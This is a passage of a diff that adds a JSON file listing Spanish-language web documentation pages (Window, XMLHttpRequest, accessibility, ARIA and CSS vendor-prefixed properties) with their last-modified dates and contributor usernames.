+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/moveBy": {
+    "modified": "2020-10-15T22:08:26.636Z",
+    "contributors": [
+      "pedrofmb"
+    ]
+  },
+  "Web/API/Window/navigator": {
+    "modified": "2019-03-23T23:20:37.914Z",
+    "contributors": [
+      "fscholz",
+      "khalid32",
+      "tpb"
+    ]
+  },
+  "Web/API/Window/offline_event": {
+    "modified": "2019-04-30T14:21:22.454Z",
+    "contributors": [
+      "wbamberg",
+      "irenesmith",
+      "Daniel-VQ"
+    ]
+  },
+  "Web/API/Window/open": {
+    "modified": "2020-04-13T14:31:02.220Z",
+    "contributors": [
+      "fj-ramirez",
+      "BubuAnabelas",
+      "jccharlie90",
+      "SphinxKnight",
+      "VictorAbdon",
+      "jjoselon"
+    ]
+  },
+  "Web/API/Window/opener": {
+    "modified": "2019-03-23T22:46:00.877Z",
+    "contributors": [
+      "carlosmunozrodriguez",
+      "f3rbarraza"
+    ]
+  },
+  "Web/API/Window/outerHeight": {
+    "modified": "2019-03-18T21:15:44.722Z",
+    "contributors": [
+      "rlopezAyala",
+      "GianlucaBobbio"
+    ]
+  },
+  "Web/API/Window/outerWidth": {
+    "modified": "2019-03-23T22:04:23.293Z",
+    "contributors": [
+      "shadairafael"
+    ]
+  },
+  "Web/API/Window/print": {
+    "modified": "2019-07-11T23:43:54.339Z",
+    "contributors": [
+      "EstebanDalelR",
+      "ErikMj69"
+    ]
+  },
+  "Web/API/Window/prompt": {
+    "modified": "2019-03-23T22:20:58.413Z",
+    "contributors": [
+      "israel-munoz"
+    ]
+  },
+  "Web/API/Window/requestAnimationFrame": {
+    "modified": "2020-07-05T08:38:54.640Z",
+    "contributors": [
+      "AlePerez92",
+      "mauriciabad",
+      "fortil",
+      "andrpueb",
+      "fscholz",
+      "jbalsas"
+    ]
+  },
+  "Web/API/Window/requestIdleCallback": {
+    "modified": "2020-12-05T00:33:07.625Z",
+    "contributors": [
+      "gnunezr",
+      "jsolana"
+    ]
+  },
+  "Web/API/Window/scroll": {
+    "modified": "2020-10-15T21:54:58.717Z",
+    "contributors": [
+      "AlePerez92",
+      "patoezequiel"
+    ]
+  },
+  "Web/API/Window/scrollBy": {
+    "modified": "2019-03-23T22:40:05.334Z",
+    "contributors": [
+      "plaso",
+      "Bcd"
+    ]
+  },
+  "Web/API/Window/scrollTo": {
+    "modified": "2019-03-23T22:05:41.259Z",
+    "contributors": [
+      "gyroscopico"
+    ]
+  },
+  "Web/API/Window/scrollX": {
+    "modified": "2019-03-18T21:15:11.745Z",
+    "contributors": [
+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/scrollY": {
+    "modified": "2019-03-23T22:53:30.651Z",
+    "contributors": [
+      "MaFranceschi"
+    ]
+  },
+  "Web/API/Window/sessionStorage": {
+    "modified": "2019-03-23T22:57:50.655Z",
+    "contributors": [
+      "svera",
+      "pedromagnus",
+      "develasquez"
+    ]
+  },
+  "Web/API/Window/showModalDialog": {
+    "modified": "2019-03-18T20:58:55.311Z",
+    "contributors": [
+      "SphinxKnight",
+      "BubuAnabelas",
+      "Grijander81"
+    ]
+  },
+  "Web/API/Window/sidebar": {
+    "modified": "2019-03-23T22:02:56.395Z",
+    "contributors": [
+      "IsaacSchemm"
+    ]
+  },
+  "Web/API/Window/statusbar": {
+    "modified": "2019-03-23T22:14:36.556Z",
+    "contributors": [
+      "UshioSan"
+    ]
+  },
+  "Web/API/WindowBase64": {
+    "modified": "2019-03-23T23:03:15.466Z",
+    "contributors": [
+      "teoli"
+    ]
+  },
+  "Web/API/WindowBase64/Base64_codificando_y_decodificando": {
+    "modified": "2020-10-08T22:36:13.676Z",
+    "contributors": [
+      "kevinandresviedmanlopez",
+      "carloscasalar",
+      "Arukantara",
+      "sathyasanles"
+    ]
+  },
+  "Web/API/WindowBase64/atob": {
+    "modified": "2019-03-23T23:03:12.715Z",
+    "contributors": [
+      "fscholz",
+      "sathyasanles"
+    ]
+  },
+  "Web/API/WindowEventHandlers": {
+    "modified": "2019-03-23T23:01:29.892Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/WindowEventHandlers/onbeforeunload": {
+    "modified": "2019-03-23T23:22:06.132Z",
+    "contributors": [
+      "fscholz",
+      "AshfaqHossain",
+      "jota1410"
+    ]
+  },
+  "Web/API/WindowEventHandlers/onhashchange": {
+    "modified": "2019-03-23T22:49:36.790Z",
+    "contributors": [
+      "AlePerez92",
+      "daesnorey"
+    ]
+  },
+  "Web/API/WindowEventHandlers/onpopstate": {
+    "modified": "2020-10-15T22:19:35.746Z",
+    "contributors": [
+      "borxdev",
+      "jccuevas"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope": {
+    "modified": "2019-03-23T22:16:40.400Z",
+    "contributors": [
+      "ivannieto",
+      "chrisdavidmills"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope/caches": {
+    "modified": "2019-03-23T22:16:45.016Z",
+    "contributors": [
+      "ivannieto"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope/createImageBitmap": {
+    "modified": "2020-10-15T22:14:17.553Z",
+    "contributors": [
+      "Bumxu"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope/fetch": {
+    "modified": "2020-10-15T22:01:57.457Z",
+    "contributors": [
+      "fscholz",
+      "jagomf"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope/indexedDB": {
+    "modified": "2019-03-23T22:16:36.537Z",
+    "contributors": [
+      "ivannieto"
+    ]
+  },
+  "Web/API/WindowOrWorkerGlobalScope/isSecureContext": {
+    "modified": "2019-03-23T22:16:45.834Z",
+    "contributors": [
+      "ivannieto"
+    ]
+  },
+  "Web/API/WindowTimers": {
+    "modified": "2019-03-23T23:01:30.065Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/API/WindowTimers/clearInterval": {
+    "modified": "2019-03-23T22:56:16.485Z",
+    "contributors": [
+      "Guitxo"
+    ]
+  },
+  "Web/API/WindowTimers/clearTimeout": {
+    "modified": "2019-06-18T10:20:27.972Z",
+    "contributors": [
+      "AlePerez92",
+      "fscholz",
+      "basemnassar11",
+      "VictorArias"
+    ]
+  },
+  "Web/API/WindowTimers/setInterval": {
+    "modified": "2020-08-24T18:02:23.092Z",
+    "contributors": [
+      "mastertrooper",
+      "Makinita",
+      "Klius",
+      "claudionebbia"
+    ]
+  },
+  "Web/API/WindowTimers/setTimeout": {
+    "modified": "2019-03-23T23:17:29.378Z",
+    "contributors": [
+      "BubuAnabelas",
+      "vltamara",
+      "nauj27",
+      "fscholz",
+      "AshfaqHossain",
+      "VictorArias"
+    ]
+  },
+  "Web/API/Worker": {
+    "modified": "2019-03-23T22:48:01.797Z",
+    "contributors": [
+      "benjroy"
+    ]
+  },
+  "Web/API/Worker/postMessage": {
+    "modified": "2020-04-23T06:46:10.302Z",
+    "contributors": [
+      "aguilahorus",
+      "cristyansv",
+      "mar777"
+    ]
+  },
+  "Web/API/Worker/terminate": {
+    "modified": "2019-03-23T22:19:14.265Z",
+    "contributors": [
+      "AzazelN28"
+    ]
+  },
+  "Web/API/XMLHttpRequest": {
+    "modified": "2019-05-02T19:52:03.482Z",
+    "contributors": [
+      "wbamberg",
+      "Juvenal-yescas",
+      "ojgarciab",
+      "Sheppy",
+      "dgrcode",
+      "HadesDX",
+      "StripTM",
+      "mitogh",
+      "deimidis",
+      "Mgjbot",
+      "Jorolo"
+    ]
+  },
+  "Web/API/XMLHttpRequest/FormData": {
+    "modified": "2020-10-15T21:22:58.694Z",
+    "contributors": [
+      "AlePerez92",
+      "vladimirbat",
+      "alvaromorenomorales",
+      "ojgarciab",
+      "Sheppy",
+      "AngelFQC",
+      "wilo",
+      "marco_mucino"
+    ]
+  },
+  "Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests": {
+    "modified": "2019-03-23T22:05:30.902Z",
+    "contributors": [
+      "Juvenal-yescas"
+    ]
+  },
+  "Web/API/XMLHttpRequest/Using_XMLHttpRequest": {
+    "modified": "2020-03-17T04:09:47.273Z",
+    "contributors": [
+      "jccuevas",
+      "camsa",
+      "david_ru",
+      "cesaruve",
+      "Sheppy",
+      "Sebastianz",
+      "iiegor",
+      "javierdp",
+      "bardackx",
+      "teoli",
+      "inma_610"
+    ]
+  },
+  "Web/API/XMLHttpRequest/abort": {
+    "modified": "2019-03-23T22:12:16.683Z",
+    "contributors": [
+      "Sheppy",
+      "todomagichere"
+    ]
+  },
+  "Web/API/XMLHttpRequest/onreadystatechange": {
+    "modified": "2019-03-23T22:20:14.868Z",
+    "contributors": [
+      "Sheppy",
+      "theUncanny"
+    ]
+  },
+  "Web/API/XMLHttpRequest/responseText": {
+    "modified": "2019-03-23T22:09:05.708Z",
+    "contributors": [
+      "midnight25"
+    ]
+  },
+  "Web/API/XMLHttpRequest/timeout": {
+    "modified": "2020-10-15T22:26:49.508Z",
+    "contributors": [
+      "mmednik"
+    ]
+  },
+  "Web/API/XMLHttpRequestEventTarget": {
+    "modified": "2020-10-15T22:26:08.879Z"
+  },
+  "Web/API/XMLHttpRequestEventTarget/onload": {
+    "modified": "2020-10-15T22:26:03.172Z",
+    "contributors": [
+      "Akafadam"
+    ]
+  },
+  "Web/API/console/assert": {
+    "modified": "2019-03-23T22:47:53.587Z",
+    "contributors": [
+      "Takumakun",
+      "AlePerez92",
+      "danycoro"
+    ]
+  },
+  "Web/API/notification": {
+    "modified": "2019-06-28T05:54:12.854Z",
+    "contributors": [
+      "paumoreno",
+      "hhcarmenate",
+      "RockLee-BC",
+      "francotalarico93",
+      "frossi933",
+      "Irvandoval",
+      "LuyisiMiger",
+      "fscholz",
+      "elfoxero"
+    ]
+  },
+  "Web/API/notification/body": {
+    "modified": "2019-03-23T22:59:34.974Z",
+    "contributors": [
+      "joxhker"
+    ]
+  },
+  "Web/API/notification/dir": {
+    "modified": "2019-03-23T22:59:36.852Z",
+    "contributors": [
+      "joxhker"
+    ]
+  },
+  "Web/API/notification/icon": {
+    "modified": "2019-03-23T22:59:32.492Z",
+    "contributors": [
+      "joxhker"
+    ]
+  },
+  "Web/API/notification/onclick": {
+    "modified": "2019-03-23T22:11:55.774Z",
+    "contributors": [
+      "AndresTonello"
+    ]
+  },
+  "Web/API/notification/permission": {
+    "modified": "2019-03-23T22:07:38.974Z",
+    "contributors": [
+      "alanmacgowan",
+      "IXTRUnai"
+    ]
+  },
+  "Web/API/notification/requestPermission": {
+    "modified": "2019-03-23T22:50:37.341Z",
+    "contributors": [
+      "MarkelCuesta",
+      "jezdez",
+      "Davdriver"
+    ]
+  },
+  "Web/Accesibilidad": {
+    "modified": "2020-09-22T14:24:03.363Z",
+    "contributors": [
+      "FranciscoImanolSuarez",
+      "Gummox",
+      "Mediavilladiezj",
+      "cisval",
+      "monserratcallejaalmazan",
+      "chmutoff",
+      "teoli",
+      "DoctorRomi",
+      "Mgjbot",
+      "Jorolo",
+      "Lowprofile",
+      "Wikier",
+      "Nukeador",
+      "Gonzobonzoo"
+    ]
+  },
+  "Web/Accesibilidad/Comunidad": {
+    "modified": "2019-03-23T23:41:25.430Z",
+    "contributors": [
+      "teoli",
+      "Jorolo"
+    ]
+  },
+  "Web/Accesibilidad/Understanding_WCAG": {
+    "modified": "2019-03-18T21:25:29.001Z",
+    "contributors": [
+      "evaferreira"
+    ]
+  },
+  "Web/Accesibilidad/Understanding_WCAG/Etiquetas_de_texto_y_nombres": {
+    "modified": "2020-05-21T19:43:48.950Z",
+    "contributors": [
+      "giioaj",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/Accesibilidad/Understanding_WCAG/Perceivable": {
+    "modified": "2019-03-18T21:25:19.991Z",
+    "contributors": [
+      "evaferreira"
+    ]
+  },
+  "Web/Accesibilidad/Understanding_WCAG/Perceivable/Color_contraste": {
+    "modified": "2020-06-09T06:15:36.471Z",
+    "contributors": [
+      "11bits",
+      "apenab"
+    ]
+  },
+  "Web/Accesibilidad/Understanding_WCAG/Teclado": {
+    "modified": "2020-09-28T17:32:58.697Z",
+    "contributors": [
+      "megatux",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/Accessibility/ARIA": {
+    "modified": "2019-03-23T22:32:50.943Z",
+    "contributors": [
+      "AlejandroC92",
+      "megatux",
+      "guumo",
+      "VNWK",
+      "imelenchon",
+      "teoli"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques": {
+    "modified": "2019-03-23T22:46:27.954Z",
+    "contributors": [
+      "chrisdavidmills"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques/Usando_el_atributo_aria-required": {
+    "modified": "2019-08-28T11:54:04.515Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "Karla_Glez"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques/Usando_el_rol_alertdialog": {
+    "modified": "2019-08-28T12:48:39.532Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_alert_role": {
+    "modified": "2019-03-18T21:31:32.978Z",
+    "contributors": [
+      "IsraelFloresDGA",
+      "mayrars"
+    ]
+  },
+  "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute": {
+    "modified": "2020-12-02T07:09:06.472Z",
+    "contributors": [
+      "AlePerez92",
+      "mitsurugi",
+      "fraboto",
+      "blanchart",
+      "ErikMj69",
+      "NelsonWF"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms": {
+    "modified": "2020-08-13T01:50:29.740Z",
+    "contributors": [
+      "Nachec",
+      "IsraelFloresDGA",
+      "malonson"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms/Etiquetas_complejas": {
+    "modified": "2019-11-27T15:16:55.571Z",
+    "contributors": [
+      "IsaacAaron",
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms/alertas": {
+    "modified": "2020-08-13T01:22:34.331Z",
+    "contributors": [
+      "Nachec"
+    ]
+  },
+  "Web/Accessibility/ARIA/forms/consejos_basicos_para_formularios": {
+    "modified": "2019-03-18T21:22:07.007Z",
+    "contributors": [
+      "IsraelFloresDGA"
+    ]
+  },
+  "Web/CSS": {
+    "modified": "2020-10-25T05:19:47.416Z",
+    "contributors": [
+      "SphinxKnight",
+      "redondomoralesmelanny",
+      "Dolacres",
+      "boualidev",
+      "Enesimus",
+      "chrisdavidmills",
+      "NavetsArev",
+      "alazzuri",
+      "IsraelFloresDGA",
+      "lajaso",
+      "arturoblack",
+      "rogeliomtx",
+      "anecto",
+      "teoli",
+      "Luis_Calvo",
+      "alex_dm",
+      "ethertank",
+      "StripTM",
+      "inma_610",
+      "another_sam",
+      "fscholz",
+      "Wrongloop",
+      "Nathymig",
+      "Mgjbot",
+      "Nukeador",
+      "Jorolo",
+      "Lopez",
+      "Takenbot",
+      "Manu",
+      "Elrohir"
+    ]
+  },
+  "Web/CSS/--*": {
+    "modified": "2020-11-18T17:43:24.329Z",
+    "contributors": [
+      "jemilionautoch"
+    ]
+  },
+  "Web/CSS/-moz-box-flex": {
+    "modified": "2019-03-23T22:36:18.128Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-box-ordinal-group": {
+    "modified": "2019-03-23T22:36:12.257Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-box-pack": {
+    "modified": "2019-03-23T22:36:13.348Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-cell": {
+    "modified": "2019-03-23T22:35:57.612Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-context-properties": {
+    "modified": "2020-10-15T22:13:14.061Z",
+    "contributors": [
+      "Adorta4"
+    ]
+  },
+  "Web/CSS/-moz-float-edge": {
+    "modified": "2019-03-23T22:36:02.702Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-font-language-override": {
+    "modified": "2019-03-23T23:13:49.521Z",
+    "contributors": [
+      "martinezdario55"
+    ]
+  },
+  "Web/CSS/-moz-force-broken-image-icon": {
+    "modified": "2019-03-23T23:21:21.736Z",
+    "contributors": [
+      "Sebastianz",
+      "teoli",
+      "jota1410"
+    ]
+  },
+  "Web/CSS/-moz-image-rect": {
+    "modified": "2019-03-23T22:35:59.460Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-image-region": {
+    "modified": "2019-03-23T22:35:58.872Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-orient": {
+    "modified": "2019-03-23T22:38:38.798Z",
+    "contributors": [
+      "teoli",
+      "anytameleiro"
+    ]
+  },
+  "Web/CSS/-moz-outline-radius": {
+    "modified": "2019-03-23T22:35:49.017Z",
+    "contributors": [
+      "BubuAnabelas",
+      "teoli",
+      "Simplexible",
+      "Prinz_Rana",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-outline-radius-bottomleft": {
+    "modified": "2019-03-23T22:35:52.557Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-outline-radius-bottomright": {
+    "modified": "2019-03-23T22:35:53.397Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-outline-radius-topleft": {
+    "modified": "2019-03-23T22:35:51.509Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-outline-radius-topright": {
+    "modified": "2019-03-23T22:35:44.264Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-user-focus": {
+    "modified": "2019-03-23T22:35:52.089Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-user-input": {
+    "modified": "2019-03-23T22:35:52.458Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-moz-user-modify": {
+    "modified": "2019-03-23T22:35:48.381Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-border-before": {
+    "modified": "2019-03-23T22:35:46.245Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-box-reflect": {
+    "modified": "2019-03-23T22:35:45.474Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask": {
+    "modified": "2019-03-23T22:35:50.079Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-attachment": {
+    "modified": "2019-03-23T22:35:53.127Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-box-image": {
+    "modified": "2019-03-23T22:35:44.795Z",
+    "contributors": [
+      "Sebastianz",
+      "Prinz_Rana",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-clip": {
+    "modified": "2019-03-23T22:35:47.057Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-composite": {
+    "modified": "2019-03-23T22:35:49.602Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-image": {
+    "modified": "2019-03-23T22:35:45.973Z",
+    "contributors": [
+      "hectorcano",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-origin": {
+    "modified": "2019-03-23T22:35:46.533Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-position": {
+    "modified": "2019-03-23T22:38:37.922Z",
+    "contributors": [
+      "teoli",
+      "Simplexible",
+      "Prinz_Rana",
+      "pekechis",
+      "Kuiki"
+    ]
+  },
+  "Web/CSS/-webkit-mask-position-x": {
+    "modified": "2019-03-23T22:34:17.919Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-position-y": {
+    "modified": "2019-03-23T22:34:11.674Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-repeat": {
+    "modified": "2019-03-23T22:35:46.401Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-repeat-x": {
+    "modified": "2019-03-23T22:34:04.348Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-mask-repeat-y": {
+    "modified": "2019-03-23T22:34:06.535Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-overflow-scrolling": {
+    "modified": "2020-10-15T21:44:50.401Z",
+    "contributors": [
+      "AlePerez92",
+      "teoli",
+      "natav",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-print-color-adjust": {
+    "modified": "2019-03-23T22:35:50.908Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-tap-highlight-color": {
+    "modified": "2019-03-23T22:35:33.059Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-text-fill-color": {
+    "modified": "2019-03-23T22:35:41.363Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-text-stroke": {
+    "modified": "2020-11-09T04:49:08.502Z",
+    "contributors": [
+      "sideshowbarker",
+      "codingdudecom",
+      "NachoNav",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-text-stroke-color": {
+    "modified": "2019-03-23T22:35:34.688Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-text-stroke-width": {
+    "modified": "2019-03-23T22:35:36.221Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/-webkit-touch-callout": {
+    "modified": "2019-03-23T22:35:37.578Z",
+    "contributors": [
+      "teoli",
+      "rankill",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-broken": {
+    "modified": "2019-03-23T22:34:12.269Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-drag-over": {
+    "modified": "2019-03-23T22:34:06.375Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-first-node": {
+    "modified": "2019-03-23T22:34:12.741Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-focusring": {
+    "modified": "2019-03-23T22:34:12.588Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-handler-blocked": {
+    "modified": "2019-03-23T22:33:34.259Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-handler-crashed": {
+    "modified": "2019-03-23T22:33:27.000Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-handler-disabled": {
+    "modified": "2019-03-23T22:33:35.339Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-last-node": {
+    "modified": "2019-03-18T21:15:45.566Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-list-bullet": {
+    "modified": "2019-03-23T22:29:23.137Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-list-number": {
+    "modified": "2019-03-23T22:29:22.603Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-loading": {
+    "modified": "2019-03-23T22:33:38.436Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-locale-dir(ltr)": {
+    "modified": "2019-03-23T22:33:43.908Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-locale-dir(rtl)": {
+    "modified": "2019-03-23T22:33:44.356Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-only-whitespace": {
+    "modified": "2019-03-23T22:33:33.786Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-placeholder": {
+    "modified": "2019-03-23T22:33:30.015Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-submit-invalid": {
+    "modified": "2019-03-23T22:33:36.639Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-suppressed": {
+    "modified": "2019-03-23T22:33:37.212Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-ui-invalid": {
+    "modified": "2019-03-23T22:30:48.940Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-ui-valid": {
+    "modified": "2019-03-23T22:29:23.305Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-user-disabled": {
+    "modified": "2019-03-23T22:30:53.713Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-moz-window-inactive": {
+    "modified": "2019-03-23T22:30:43.777Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-ms-input-placeholder": {
+    "modified": "2019-03-23T22:29:24.542Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/:-webkit-autofill": {
+    "modified": "2019-03-23T22:29:31.809Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-color-swatch": {
+    "modified": "2020-10-15T22:13:15.247Z",
+    "contributors": [
+      "Adorta4"
+    ]
+  },
+  "Web/CSS/::-moz-page": {
+    "modified": "2019-03-23T22:29:23.000Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-page-sequence": {
+    "modified": "2019-03-23T22:29:18.734Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-placeholder": {
+    "modified": "2019-03-23T22:29:22.118Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-progress-bar": {
+    "modified": "2019-03-23T22:29:21.640Z",
+    "contributors": [
+      "lajaso",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-range-progress": {
+    "modified": "2019-03-23T22:28:49.325Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-range-thumb": {
+    "modified": "2019-03-23T22:28:56.558Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-range-track": {
+    "modified": "2019-03-23T22:27:41.835Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-moz-scrolled-page-sequence": {
+    "modified": "2019-03-23T22:27:47.385Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-file-upload-button": {
+    "modified": "2019-03-18T21:21:36.190Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-inner-spin-button": {
+    "modified": "2019-03-18T21:17:13.569Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-input-placeholder": {
+    "modified": "2019-03-18T21:16:20.006Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-meter-bar": {
+    "modified": "2019-03-23T22:27:21.551Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-meter-even-less-good-value": {
+    "modified": "2019-03-18T21:15:16.586Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-meter-inner-element": {
+    "modified": "2019-03-23T22:27:02.054Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-meter-optimum-value": {
+    "modified": "2019-03-23T22:27:09.428Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-meter-suboptimum-value": {
+    "modified": "2019-03-23T22:27:08.613Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-outer-spin-button": {
+    "modified": "2019-03-23T22:27:04.174Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-progress-bar": {
+    "modified": "2019-03-23T22:26:48.592Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-progress-inner-element": {
+    "modified": "2019-03-23T22:27:11.051Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-progress-value": {
+    "modified": "2019-03-23T22:26:54.483Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-scrollbar": {
+    "modified": "2019-03-23T22:26:50.519Z",
+    "contributors": [
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-slider-runnable-track": {
+    "modified": "2019-03-23T22:26:41.971Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::-webkit-slider-thumb": {
+    "modified": "2019-03-23T22:26:41.006Z",
+    "contributors": [
+      "teoli",
+      "pekechis"
+    ]
+  },
+  "Web/CSS/::after": {
+    "modified": "2020-10-15T21:15:55.871Z",
+    "contributors": [
+      "JFOG",
+      "IsraelFloresDGA",
+      "israel-munoz",
+      "Lorenzoygata",
+      "teoli",
+      "Nathymig"
+    ]
+  },
+  "Web/CSS/::backdrop": {
